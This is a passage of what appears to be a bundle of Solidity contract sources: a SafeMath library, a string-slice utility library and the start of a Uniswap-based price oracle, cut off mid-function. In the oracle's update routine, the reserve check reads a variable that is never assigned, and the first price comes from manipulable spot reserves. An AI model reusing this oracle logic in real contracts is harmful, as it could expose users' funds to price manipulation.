Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).\r\n *\r\n * Counterpart to Solidity's `-` operator.\r\n *\r\n * Requirements:\r\n * - Subtraction cannot underflow.\r\n */\r\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return sub(a, b, \"SafeMath: subtraction underflow\");\r\n }\r\n\r\n /**\r\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).\r\n *\r\n * Counterpart to Solidity's `-` operator.\r\n *\r\n * Requirements:\r\n * - Subtraction cannot underflow.\r\n */\r\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n require(b <= a, errorMessage);\r\n uint256 c = a - b;\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on overflow.\r\n *\r\n * Counterpart to Solidity's `*` operator.\r\n *\r\n * Requirements:\r\n * - Multiplication cannot overflow.\r\n */\r\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on overflow.\r\n *\r\n * Counterpart to Solidity's `*` operator.\r\n *\r\n * Requirements:\r\n * - Multiplication cannot overflow.\r\n */\r\n function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b, errorMessage);\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers.\r\n * Reverts on division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity's `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n */\r\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return div(a, b, \"SafeMath: division by zero\");\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers.\r\n * Reverts with custom message on division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity's `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n */\r\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0, errorMessage);\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * Reverts when dividing by zero.\r\n *\r\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return mod(a, b, \"SafeMath: modulo by zero\");\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * Reverts with custom message when dividing by zero.\r\n *\r\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n require(b != 0, errorMessage);\r\n return a % b;\r\n }\r\n}\r\n", "keccak256": "0x1b91ef15073e3694faa078ab1d588c180155a8d36e469fa0bdb01dd2b207d0df" }, "contracts/Strings.sol": { "content": "/*\r\n * @title String & slice utility library for Solidity contracts.\r\n * @author Nick Johnson <[email protected]>\r\n *\r\n * @dev Functionality in this library is largely implemented using an\r\n * abstraction called a 'slice'. A slice represents a part of a string -\r\n * anything from the entire string to a single character, or even no\r\n * characters at all (a 0-length slice). Since a slice only has to specify\r\n * an offset and a length, copying and manipulating slices is a lot less\r\n * expensive than copying and manipulating the strings they reference.\r\n *\r\n * To further reduce gas costs, most functions on slice that need to return\r\n * a slice modify the original one instead of allocating a new one; for\r\n * instance, `s.split(\".\")` will return the text up to the first '.',\r\n * modifying s to only contain the remainder of the string after the '.'.\r\n * In situations where you do not want to modify the original slice, you\r\n * can make a copy first with `.copy()`, for example:\r\n * `s.copy().split(\".\")`. Try and avoid using this idiom in loops; since\r\n * Solidity has no memory management, it will result in allocating many\r\n * short-lived slices that are later discarded.\r\n *\r\n * Functions that return two slices come in two versions: a non-allocating\r\n * version that takes the second slice as an argument, modifying it in\r\n * place, and an allocating version that allocates and returns the second\r\n * slice; see `nextRune` for example.\r\n *\r\n * Functions that have to copy string data will return strings rather than\r\n * slices; these can be cast back to slices for further processing if\r\n * required.\r\n *\r\n * For convenience, some functions are provided with non-modifying\r\n * variants that create a new slice and return both; for instance,\r\n * `s.splitNew('.')` leaves s unmodified, and returns two values\r\n * corresponding to the left and right parts of the string.\r\n */\r\n\r\npragma solidity ^0.7.6;\r\n\r\nlibrary strings {\r\n struct slice {\r\n uint _len;\r\n uint _ptr;\r\n }\r\n\r\n function memcpy(uint dest, uint src, uint leng) private pure {\r\n // Copy word-length chunks while possible\r\n for(; leng >= 32; leng -= 32) {\r\n assembly {\r\n mstore(dest, mload(src))\r\n }\r\n dest += 32;\r\n src += 32;\r\n }\r\n\r\n // Copy remaining bytes\r\n uint mask = 256 ** (32 - leng) - 1;\r\n assembly {\r\n let srcpart := and(mload(src), not(mask))\r\n let destpart := and(mload(dest), mask)\r\n mstore(dest, or(destpart, srcpart))\r\n }\r\n }\r\n\r\n /*\r\n * @dev Returns a slice containing the entire string.\r\n * @param self The string to make a slice from.\r\n * @return A newly allocated slice containing the entire string.\r\n */\r\n function toSlice(string memory self) internal pure returns (slice memory) {\r\n uint ptr;\r\n assembly {\r\n ptr := add(self, 0x20)\r\n }\r\n return slice(bytes(self).length, ptr);\r\n }\r\n\r\n /*\r\n * @dev Returns the length of a null-terminated bytes32 string.\r\n * @param self The value to find the length of.\r\n * @return The length of the string, from 0 to 32.\r\n */\r\n function len(bytes32 self) internal pure returns (uint) {\r\n uint ret;\r\n if (self == 0)\r\n return 0;\r\n if (uint(self) & 0xffffffffffffffffffffffffffffffff == 0) {\r\n ret += 16;\r\n self = bytes32(uint(self) / 0x100000000000000000000000000000000);\r\n }\r\n if (uint(self) & 0xffffffffffffffff == 0) {\r\n ret += 8;\r\n self = bytes32(uint(self) / 0x10000000000000000);\r\n }\r\n if (uint(self) & 0xffffffff == 0) {\r\n ret += 4;\r\n self = bytes32(uint(self) / 0x100000000);\r\n }\r\n if (uint(self) & 0xffff == 0) {\r\n ret += 2;\r\n self = bytes32(uint(self) / 0x10000);\r\n }\r\n if (uint(self) & 0xff == 0) {\r\n ret += 1;\r\n }\r\n return 32 - ret;\r\n }\r\n\r\n /*\r\n * @dev Returns a slice containing the entire bytes32, interpreted as a\r\n * null-terminated utf-8 string.\r\n * @param self The bytes32 value to convert to a slice.\r\n * @return A new slice containing the value of the input argument up to the\r\n * first null.\r\n */\r\n function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {\r\n // Allocate space for `self` in memory, copy it there, and point ret at it\r\n assembly {\r\n let ptr := mload(0x40)\r\n mstore(0x40, add(ptr, 0x20))\r\n mstore(ptr, self)\r\n mstore(add(ret, 0x20), ptr)\r\n }\r\n ret._len = len(self);\r\n }\r\n\r\n /*\r\n * @dev Returns a new slice containing the same data as the current slice.\r\n * @param self The slice to copy.\r\n * @return A new slice containing the same data as `self`.\r\n */\r\n function copy(slice memory self) internal pure returns (slice memory) {\r\n return slice(self._len, self._ptr);\r\n }\r\n\r\n /*\r\n * @dev Copies a slice to a new string.\r\n * @param self The slice to copy.\r\n * @return A newly allocated string containing the slice's text.\r\n */\r\n function toString(slice memory self) internal pure returns (string memory) {\r\n string memory ret = new string(self._len);\r\n uint retptr;\r\n assembly { retptr := add(ret, 32) }\r\n\r\n memcpy(retptr, self._ptr, self._len);\r\n return ret;\r\n }\r\n\r\n /*\r\n * @dev Returns the length in runes of the slice. Note that this operation\r\n * takes time proportional to the length of the slice; avoid using it\r\n * in loops, and call `slice.empty()` if you only need to know whether\r\n * the slice is empty or not.\r\n * @param self The slice to operate on.\r\n * @return The length of the slice in runes.\r\n */\r\n function len(slice memory self) internal pure returns (uint l) {\r\n // Starting at ptr-31 means the LSB will be the byte we care about\r\n uint ptr = self._ptr - 31;\r\n uint end = ptr + self._len;\r\n for (l = 0; ptr < end; l++) {\r\n uint8 b;\r\n assembly { b := and(mload(ptr), 0xFF) }\r\n if (b < 0x80) {\r\n ptr += 1;\r\n } else if(b < 0xE0) {\r\n ptr += 2;\r\n } else if(b < 0xF0) {\r\n ptr += 3;\r\n } else if(b < 0xF8) {\r\n ptr += 4;\r\n } else if(b < 0xFC) {\r\n ptr += 5;\r\n } else {\r\n ptr += 6;\r\n }\r\n }\r\n }\r\n\r\n /*\r\n * @dev Returns true if the slice is empty (has a length of 0).\r\n * @param self The slice to operate on.\r\n * @return True if the slice is empty, False otherwise.\r\n */\r\n function empty(slice memory self) internal pure returns (bool) {\r\n return self._len == 0;\r\n }\r\n\r\n /*\r\n * @dev Returns a negative number if `other` comes lexicographically after\r\n * `self`, a positive number if it comes before, or zero if the\r\n * contents of the two slices are equal. Comparison is done per-rune,\r\n * on unicode codepoints.\r\n * @param self The first slice to compare.\r\n * @param other The second slice to compare.\r\n * @return The result of the comparison.\r\n */\r\n function compare(slice memory self, slice memory other) internal pure returns (int) {\r\n uint shortest = self._len;\r\n if (other._len < self._len)\r\n shortest = other._len;\r\n\r\n uint selfptr = self._ptr;\r\n uint otherptr = other._ptr;\r\n for (uint idx = 0; idx < shortest; idx += 32) {\r\n uint a;\r\n uint b;\r\n assembly {\r\n a := mload(selfptr)\r\n b := mload(otherptr)\r\n }\r\n if (a != b) {\r\n // Mask out irrelevant bytes and check again\r\n uint256 mask = uint256(-1); // 0xffff...\r\n if(shortest < 32) {\r\n mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r\n }\r\n uint256 diff = (a & mask) - (b & mask);\r\n if (diff != 0)\r\n return int(diff);\r\n }\r\n selfptr += 32;\r\n otherptr += 32;\r\n }\r\n return int(self._len) - int(other._len);\r\n }\r\n\r\n /*\r\n * @dev Returns true if the two slices contain the same text.\r\n * @param self The first slice to compare.\r\n * @param self The second slice to compare.\r\n * @return True if the slices are equal, false otherwise.\r\n */\r\n function equals(slice memory self, slice memory other) internal pure returns (bool) {\r\n return compare(self, other) == 0;\r\n }\r\n\r\n /*\r\n * @dev Extracts the first rune in the slice into `rune`, advancing the\r\n * slice to point to the next rune and returning `self`.\r\n * @param self The slice to operate on.\r\n * @param rune The slice that will contain the first rune.\r\n * @return `rune`.\r\n */\r\n function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {\r\n rune._ptr = self._ptr;\r\n\r\n if (self._len == 0) {\r\n rune._len = 0;\r\n return rune;\r\n }\r\n\r\n uint l;\r\n uint b;\r\n // Load the first byte of the rune into the LSBs of b\r\n assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r\n if (b < 0x80) {\r\n l = 1;\r\n } else if(b < 0xE0) {\r\n l = 2;\r\n } else if(b < 0xF0) {\r\n l = 3;\r\n } else {\r\n l = 4;\r\n }\r\n\r\n // Check for truncated codepoints\r\n if (l > self._len) {\r\n rune._len = self._len;\r\n self._ptr += self._len;\r\n self._len = 0;\r\n return rune;\r\n }\r\n\r\n self._ptr += l;\r\n self._len -= l;\r\n rune._len = l;\r\n return rune;\r\n }\r\n\r\n /*\r\n * @dev Returns the first rune in the slice, advancing the slice to point\r\n * to the next rune.\r\n * @param self The slice to operate on.\r\n * @return A slice containing only the first rune from `self`.\r\n */\r\n function nextRune(slice memory self) internal pure returns (slice memory ret) {\r\n nextRune(self, ret);\r\n }\r\n\r\n /*\r\n * @dev Returns the number of the first codepoint in the slice.\r\n * @param self The slice to operate on.\r\n * @return The number of the first codepoint in the slice.\r\n */\r\n function ord(slice memory self) internal pure returns (uint ret) {\r\n if (self._len == 0) {\r\n return 0;\r\n }\r\n\r\n uint word;\r\n uint length;\r\n uint divisor = 2 ** 248;\r\n\r\n // Load the rune into the MSBs of b\r\n assembly { word:= mload(mload(add(self, 32))) }\r\n uint b = word / divisor;\r\n if (b < 0x80) {\r\n ret = b;\r\n length = 1;\r\n } else if(b < 0xE0) {\r\n ret = b & 0x1F;\r\n length = 2;\r\n } else if(b < 0xF0) {\r\n ret = b & 0x0F;\r\n length = 3;\r\n } else {\r\n ret = b & 0x07;\r\n length = 4;\r\n }\r\n\r\n // Check for truncated codepoints\r\n if (length > self._len) {\r\n return 0;\r\n }\r\n\r\n for (uint i = 1; i < length; i++) {\r\n divisor = divisor / 256;\r\n b = (word / divisor) & 0xFF;\r\n if (b & 0xC0 != 0x80) {\r\n // Invalid UTF-8 sequence\r\n return 0;\r\n }\r\n ret = (ret * 64) | (b & 0x3F);\r\n }\r\n\r\n return ret;\r\n }\r\n\r\n /*\r\n * @dev Returns the keccak-256 hash of the slice.\r\n * @param self The slice to hash.\r\n * @return The hash of the slice.\r\n */\r\n function keccak(slice memory self) internal pure returns (bytes32 ret) {\r\n assembly {\r\n ret := keccak256(mload(add(self, 32)), mload(self))\r\n }\r\n }\r\n\r\n /*\r\n * @dev Returns true if `self` starts with `needle`.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return True if the slice starts with the provided text, false otherwise.\r\n */\r\n function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {\r\n if (self._len < needle._len) {\r\n return false;\r\n }\r\n\r\n if (self._ptr == needle._ptr) {\r\n return true;\r\n }\r\n\r\n bool equal;\r\n assembly {\r\n let length := mload(needle)\r\n let selfptr := mload(add(self, 0x20))\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n return equal;\r\n }\r\n\r\n /*\r\n * @dev If `self` starts with `needle`, `needle` is removed from the\r\n * beginning of `self`. Otherwise, `self` is unmodified.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return `self`\r\n */\r\n function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n if (self._len < needle._len) {\r\n return self;\r\n }\r\n\r\n bool equal = true;\r\n if (self._ptr != needle._ptr) {\r\n assembly {\r\n let length := mload(needle)\r\n let selfptr := mload(add(self, 0x20))\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n }\r\n\r\n if (equal) {\r\n self._len -= needle._len;\r\n self._ptr += needle._len;\r\n }\r\n\r\n return self;\r\n }\r\n\r\n /*\r\n * @dev Returns true if the slice ends with `needle`.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return True if the slice starts with the provided text, false otherwise.\r\n */\r\n function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {\r\n if (self._len < needle._len) {\r\n return false;\r\n }\r\n\r\n uint selfptr = self._ptr + self._len - needle._len;\r\n\r\n if (selfptr == needle._ptr) {\r\n return true;\r\n }\r\n\r\n bool equal;\r\n assembly {\r\n let length := mload(needle)\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n\r\n return equal;\r\n }\r\n\r\n /*\r\n * @dev If `self` ends with `needle`, `needle` is removed from the\r\n * end of `self`. Otherwise, `self` is unmodified.\r\n * @param self The slice to operate on.\r\n * @param needle The slice to search for.\r\n * @return `self`\r\n */\r\n function until(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n if (self._len < needle._len) {\r\n return self;\r\n }\r\n\r\n uint selfptr = self._ptr + self._len - needle._len;\r\n bool equal = true;\r\n if (selfptr != needle._ptr) {\r\n assembly {\r\n let length := mload(needle)\r\n let needleptr := mload(add(needle, 0x20))\r\n equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r\n }\r\n }\r\n\r\n if (equal) {\r\n self._len -= needle._len;\r\n }\r\n\r\n return self;\r\n }\r\n\r\n // Returns the memory address of the first byte of the first occurrence of\r\n // `needle` in `self`, or the first byte after `self` if not found.\r\n function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r\n uint ptr = selfptr;\r\n uint idx;\r\n\r\n if (needlelen <= selflen) {\r\n if (needlelen <= 32) {\r\n bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r\n\r\n bytes32 needledata;\r\n assembly { needledata := and(mload(needleptr), mask) }\r\n\r\n uint end = selfptr + selflen - needlelen;\r\n bytes32 ptrdata;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n\r\n while (ptrdata != needledata) {\r\n if (ptr >= end)\r\n return selfptr + selflen;\r\n ptr++;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n }\r\n return ptr;\r\n } else {\r\n // For long needles, use hashing\r\n bytes32 hash;\r\n assembly { hash := keccak256(needleptr, needlelen) }\r\n\r\n for (idx = 0; idx <= selflen - needlelen; idx++) {\r\n bytes32 testHash;\r\n assembly { testHash := keccak256(ptr, needlelen) }\r\n if (hash == testHash)\r\n return ptr;\r\n ptr += 1;\r\n }\r\n }\r\n }\r\n return selfptr + selflen;\r\n }\r\n\r\n // Returns the memory address of the first byte after the last occurrence of\r\n // `needle` in `self`, or the address of `self` if not found.\r\n function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r\n uint ptr;\r\n\r\n if (needlelen <= selflen) {\r\n if (needlelen <= 32) {\r\n bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r\n\r\n bytes32 needledata;\r\n assembly { needledata := and(mload(needleptr), mask) }\r\n\r\n ptr = selfptr + selflen - needlelen;\r\n bytes32 ptrdata;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n\r\n while (ptrdata != needledata) {\r\n if (ptr <= selfptr)\r\n return selfptr;\r\n ptr--;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n }\r\n return ptr + needlelen;\r\n } else {\r\n // For long needles, use hashing\r\n bytes32 hash;\r\n assembly { hash := keccak256(needleptr, needlelen) }\r\n ptr = selfptr + (selflen - needlelen);\r\n while (ptr >= selfptr) {\r\n bytes32 testHash;\r\n assembly { testHash := keccak256(ptr, needlelen) }\r\n if (hash == testHash)\r\n return ptr + needlelen;\r\n ptr -= 1;\r\n }\r\n }\r\n }\r\n return selfptr;\r\n }\r\n\r\n /*\r\n * @dev Modifies `self` to contain everything from the first occurrence of\r\n * `needle` to the end of the slice. `self` is set to the empty slice\r\n * if `needle` is not found.\r\n * @param self The slice to search and modify.\r\n * @param needle The text to search for.\r\n * @return `self`.\r\n */\r\n function find(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n self._len -= ptr - self._ptr;\r\n self._ptr = ptr;\r\n return self;\r\n }\r\n\r\n /*\r\n * @dev Modifies `self` to contain the part of the string from the start of\r\n * `self` to the end of the first occurrence of `needle`. If `needle`\r\n * is not found, `self` is set to the empty slice.\r\n * @param self The slice to search and modify.\r\n * @param needle The text to search for.\r\n * @return `self`.\r\n */\r\n function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {\r\n uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n self._len = ptr - self._ptr;\r\n return self;\r\n }\r\n\r\n /*\r\n * @dev Splits the slice, setting `self` to everything after the first\r\n * occurrence of `needle`, and `token` to everything before it. If\r\n * `needle` does not occur in `self`, `self` is set to the empty slice,\r\n * and `token` is set to the entirety of `self`.\r\n * @param self The slice to split.\r\n * @param needle The text to search for in `self`.\r\n * @param token An output parameter to which the first token is written.\r\n * @return `token`.\r\n */\r\n function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n token._ptr = self._ptr;\r\n token._len = ptr - self._ptr;\r\n if (ptr == self._ptr + self._len) {\r\n // Not found\r\n self._len = 0;\r\n } else {\r\n self._len -= token._len + needle._len;\r\n self._ptr = ptr + needle._len;\r\n }\r\n return token;\r\n }\r\n\r\n /*\r\n * @dev Splits the slice, setting `self` to everything after the first\r\n * occurrence of `needle`, and returning everything before it. If\r\n * `needle` does not occur in `self`, `self` is set to the empty slice,\r\n * and the entirety of `self` is returned.\r\n * @param self The slice to split.\r\n * @param needle The text to search for in `self`.\r\n * @return The part of `self` up to the first occurrence of `delim`.\r\n */\r\n function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {\r\n split(self, needle, token);\r\n }\r\n\r\n /*\r\n * @dev Splits the slice, setting `self` to everything before the last\r\n * occurrence of `needle`, and `token` to everything after it. If\r\n * `needle` does not occur in `self`, `self` is set to the empty slice,\r\n * and `token` is set to the entirety of `self`.\r\n * @param self The slice to split.\r\n * @param needle The text to search for in `self`.\r\n * @param token An output parameter to which the first token is written.\r\n * @return `token`.\r\n */\r\n function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {\r\n uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);\r\n token._ptr = ptr;\r\n token._len = self._len - (ptr - self._ptr);\r\n if (ptr == self._ptr) {\r\n // Not found\r\n self._len = 0;\r\n } else {\r\n self._len -= token._len + needle._len;\r\n }\r\n return token;\r\n }\r\n\r\n /*\r\n * @dev Splits the slice, setting `self` to everything before the last\r\n * occurrence of `needle`, and returning everything after it. If\r\n * `needle` does not occur in `self`, `self` is set to the empty slice,\r\n * and the entirety of `self` is returned.\r\n * @param self The slice to split.\r\n * @param needle The text to search for in `self`.\r\n * @return The part of `self` after the last occurrence of `delim`.\r\n */\r\n function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {\r\n rsplit(self, needle, token);\r\n }\r\n\r\n /*\r\n * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.\r\n * @param self The slice to search.\r\n * @param needle The text to search for in `self`.\r\n * @return The number of occurrences of `needle` found in `self`.\r\n */\r\n function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {\r\n uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;\r\n while (ptr <= self._ptr + self._len) {\r\n cnt++;\r\n ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;\r\n }\r\n }\r\n\r\n /*\r\n * @dev Returns True if `self` contains `needle`.\r\n * @param self The slice to search.\r\n * @param needle The text to search for in `self`.\r\n * @return True if `needle` is found in `self`, false otherwise.\r\n */\r\n function contains(slice memory self, slice memory needle) internal pure returns (bool) {\r\n return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;\r\n }\r\n\r\n /*\r\n * @dev Returns a newly allocated string containing the concatenation of\r\n * `self` and `other`.\r\n * @param self The first slice to concatenate.\r\n * @param other The second slice to concatenate.\r\n * @return The concatenation of the two strings.\r\n */\r\n function concat(slice memory self, slice memory other) internal pure returns (string memory) {\r\n string memory ret = new string(self._len + other._len);\r\n uint retptr;\r\n assembly { retptr := add(ret, 32) }\r\n memcpy(retptr, self._ptr, self._len);\r\n memcpy(retptr + self._len, other._ptr, other._len);\r\n return ret;\r\n }\r\n\r\n /*\r\n * @dev Joins an array of slices, using `self` as a delimiter, returning a\r\n * newly allocated string.\r\n * @param self The delimiter to use.\r\n * @param parts A list of slices to join.\r\n * @return A newly allocated string containing all the slices in `parts`,\r\n * joined with `self`.\r\n */\r\n function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {\r\n if (parts.length == 0)\r\n return \"\";\r\n\r\n uint length = self._len * (parts.length - 1);\r\n for(uint i = 0; i < parts.length; i++)\r\n length += parts[i]._len;\r\n\r\n string memory ret = new string(length);\r\n uint retptr;\r\n assembly { retptr := add(ret, 32) }\r\n\r\n for(uint i = 0; i < parts.length; i++) {\r\n memcpy(retptr, parts[i]._ptr, parts[i]._len);\r\n retptr += parts[i]._len;\r\n if (i < parts.length - 1) {\r\n memcpy(retptr, self._ptr, self._len);\r\n retptr += self._len;\r\n }\r\n }\r\n\r\n return ret;\r\n }\r\n}\r\n", "keccak256": "0xecfb4178b1cb415e544d3632d5f235cf5163e5d9ccae5bf7b33ff29802d84bde" }, "contracts/UniswapPriceOracle.sol": { "content": "pragma solidity ^0.7.6;\r\npragma abicoder v2;\r\n\r\nimport \"./PriceOracle.sol\";\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./PTokenInterfaces.sol\";\r\nimport \"./SafeMath.sol\";\r\nimport \"./UniswapPriceOracleStorage.sol\";\r\nimport \"./EIP20Interface.sol\";\r\nimport \"./Controller.sol\";\r\nimport \"./PTokenFactory.sol\";\r\n\r\ncontract UniswapPriceOracle is UniswapPriceOracleStorageV1, PriceOracle, OracleErrorReporter {\r\n using FixedPoint for *;\r\n using SafeMath for uint;\r\n\r\n event PoolAdded(uint id, address poolFactory);\r\n event PoolRemoved(uint id, address poolFactory);\r\n event PoolUpdated(uint id, address poolFactory);\r\n\r\n event StableCoinAdded(uint id, address coin);\r\n event StableCoinRemoved(uint id, address coin);\r\n event StableCoinUpdated(uint id, address coin);\r\n\r\n event AssetPairUpdated(address asset, address pair);\r\n\r\n constructor() {}\r\n\r\n function initialize(\r\n address poolFactory_,\r\n address WETHToken_,\r\n address ETHUSDPriceFeed_\r\n )\r\n public\r\n {\r\n require(\r\n WETHToken == address(0) &&\r\n ETHUSDPriceFeed == address(0)\r\n , \"Oracle: may only be initialized once\"\r\n );\r\n\r\n WETHToken = WETHToken_;\r\n ETHUSDPriceFeed = ETHUSDPriceFeed_;\r\n\r\n require(\r\n poolFactory_ != address(0)\r\n , 'Oracle: invalid address for factory'\r\n );\r\n\r\n poolFactories.push(poolFactory_);\r\n\r\n emit PoolAdded(0, poolFactory_);\r\n }\r\n\r\n function updateUnderlyingPrice(address pToken) public override returns (uint) {\r\n if (pToken == Registry(registry).pETH()) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n address asset = PErc20Interface(pToken).underlying();\r\n\r\n return update(asset);\r\n }\r\n\r\n // Get the most recent price for a asset in USD with 18 decimals of precision.\r\n function getPriceInUSD(address asset) public view virtual returns (uint) {\r\n uint ETHUSDPrice = uint(AggregatorInterface(ETHUSDPriceFeed).latestAnswer());\r\n uint AssetETHCourse = getCourseInETH(asset);\r\n\r\n // div 1e8 is chainlink precision for ETH\r\n return ETHUSDPrice.mul(AssetETHCourse).div(1e8);\r\n }\r\n\r\n function getCourseInETH(address asset) public view returns (uint) {\r\n if (asset == Registry(registry).pETH()) {\r\n // ether always worth 1\r\n return 1e18;\r\n }\r\n\r\n return averagePrices[asset];\r\n }\r\n\r\n function update(address asset) public returns (uint) {\r\n uint112 reserve0;\r\n uint112 reserve1;\r\n uint32 blockTimeStamp;\r\n address pair;\r\n\r\n if (isNewAsset(asset)) {\r\n if (assetPair[asset] == address(0)) {\r\n // first update from factory or other users\r\n (pair, ) = searchPair(asset);\r\n } else {\r\n // after updatePair function\r\n pair = assetPair[asset];\r\n }\r\n\r\n if (pair != address(0)) {\r\n assetPair[asset] = pair;\r\n\r\n (reserve0, reserve1, blockTimeStamp) = getReservesFromPair(asset);\r\n\r\n if (reserve1 < minReserveLiquidity) {\r\n return fail(Error.UPDATE_PRICE, FailureInfo.NO_RESERVES);\r\n }\r\n\r\n cumulativePrices[pair][asset].priceAverage = FixedPoint.uq112x112(uqdiv(encode(reserve1), reserve0));\r\n } else {\r\n return fail(Error.UPDATE_PRICE, FailureInfo.NO_PAIR);\r\n }\r\n } else {\r\n // second and next updates\r\n (, , blockTimeStamp) = getReservesFromPair(asset);\r\n\r\n if (reserve1 < minReserveLiquidity) {\r\n cumulativePrices[assetPair[asset]][asset].priceAverage._x = 0;\r\n cumulativePrices[assetPair[asset]][asset].priceCumulativePrevious = 0;\r\n cumulativePrices[assetPair[asset]][asset].blockTimeStampPrevious = 0;\r\n\r\n return fail(Error.UPDATE_PRICE, FailureInfo.NO_RESERVES);\r\n }\r\n\r\n if (!isPeriodElapsed(asset)) {\r\n return fail(Error.UPDATE_PRICE, FailureInfo.PERIOD_NOT_ELAPSED);\r\n }\r\n\r\n pair = assetPair[asset];\r\n\r\n uint32 timeElapsed = blockTimeStamp - cumulativePrices[pair][asset].blockTimeStampPrevious;\r\n\r\n // overflow is desired, casting never truncates\r\n // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed\r\n if (asset == IUniswapV2Pair(pair).token0()) {\r\n cumulativePrices[pair][asset].priceAverage = FixedPoint.uq112x112(uint224((IUniswapV2Pair(pair).price0CumulativeLast() - cumulativePrices[pair][asset].priceCumulativePrevious) / timeElapsed));\r\n } else {\r\n cumulativePrices[pair][asset].priceAverage = FixedPoint.uq112x112(uint224((IUniswapV2Pair(pair).price1CumulativeLast() - 